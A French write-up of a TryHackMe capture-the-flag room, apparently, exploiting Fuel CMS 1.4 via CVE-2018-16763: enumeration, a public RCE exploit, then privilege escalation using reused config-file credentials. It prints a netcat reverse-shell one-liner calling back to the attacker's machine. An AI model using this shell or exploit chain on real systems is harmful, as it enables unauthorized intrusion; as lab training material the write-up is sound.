TryHackMe, Easy
RCE, CVE-2018-16763
Reconnaissance
Pour commencer cette reconnaissance, sachant que l’adresse IP cible m’est déjà donné par Tryhackme, je peux passer directement à la reconnaissance active en essayant de découvrir ses ports ouverts. Pour cela, je performe un scan nmap sur la machine cible.

J’observe que le port 80 est ouvert avec un service http qui tourne dessus, donc un site web. Le port 80 est pour le protocole HTTP et 443 pour le port HTTPS, je peux donc directement aller voir ce qui se trouve dessus.

J’observe que le site web est géré par un CMS qui s’appelle Fuel et est en version 1.4, ça pourra servir plus tard pour essayer de voir si il n’y a pas des vulnérabilités connues sur ce service.
Comme c’est un site web je vais essayer de voir tous ses sous-répertoires pour essayer de découvrir des fichiers ou dossiers dont je ne suis pas censé avoir accès.
Énumération

On y retrouve un certain “robots.txt” en code 200, donc accessible qui contient par fois des informations très intéressantes pour la suite de l’exploitation.

J’y observe qu’il y aurait un autre répertoire que le scanner n’a pas découvert.

Je tombe sur ce qui ressemble à une page d’administration avec un formulaire de connexion.

A la fin du site web, je n’étais pas descendu jusqu’en bas mais il donne les identifiants pour effectivement accéder à la page d’administration!
Exploitation

Les identifiants ont bien fonctionnés, ce qui constitue une énorme faille de sécurité. J’ai maintenant un accès administrateur au site web.
A ce moment là, j’essaye de rajouter une page qui contient un reverse shell en PHP mais je n’ai trouvé la bonne méthode pour réussir.
Je passe à la recherche de vulnérabilités sur ce CMS.
Il y a de nombreux articles qui indiquent la présence de RCE (Remote Code Execution) sur cette application. Voyons voir comment l’exploiter.
Je tombe sur ce lien Github qui offre un outil pour exploiter cette RCE : https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE

Après un clonage de l’outil sur ma machine attaquante, voyons voir s’il fonctionne sur la machine cible.

Réussi! J’ai désormais un accès en webshell à la machine cible, je peux maintenant aller chercher le flag “user.txt”.

Élévation de privilèges
Je dois maintenant faire une élévation de mes privilèges sur la machine pour accéder au flag root.
Pour cela, j’ai besoin de passer le terminal de non-interactif à complètement interactif (Fully Interactive TTYs) & j’ai trouvé la meilleure méthode pour cette attaque grâce à ce lien qui détaille tout son fonctionnement : https://medium.com/@MonlesYen/deep-dive-fuel-cms-1-4-1-rce-exploitation-cve-2018-16763-8083c9b090ae
Je lance donc la commande :
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc [IP_machine_attaque] 4444 >/tmp/f
Et sur un nouveau terminal de ma machine je lance :
nc -lvnp 4444
Pour avoir ce résultat :

Enfin, je stabilise le shell avec ces commandes :

Maintenant que j’ai un shell complètement interactif, je dois trouver une méthode pour éléver mes privilèges au rang de root sur la machine pour avoir les pleins pouvoirs et trouver le “root.txt”
J’ai voulu envoyer le script de linPEAS sur la machine cible mais “curl” n’y est pas installé, je dois trouver un autre moyen…


Enfin, en me baladant dans tous les fichiers systèmes, je finis par trouver celui qui gère l’application Fuel CMS et trouve tous les fichiers de configuration dont un qui se voit être plus intéressant que les autres.


Tiens donc, essayons alors ce combo username/password:

Cela a fonctionné, nous avons pu élever nos privilèges et accéder au dernier flag.
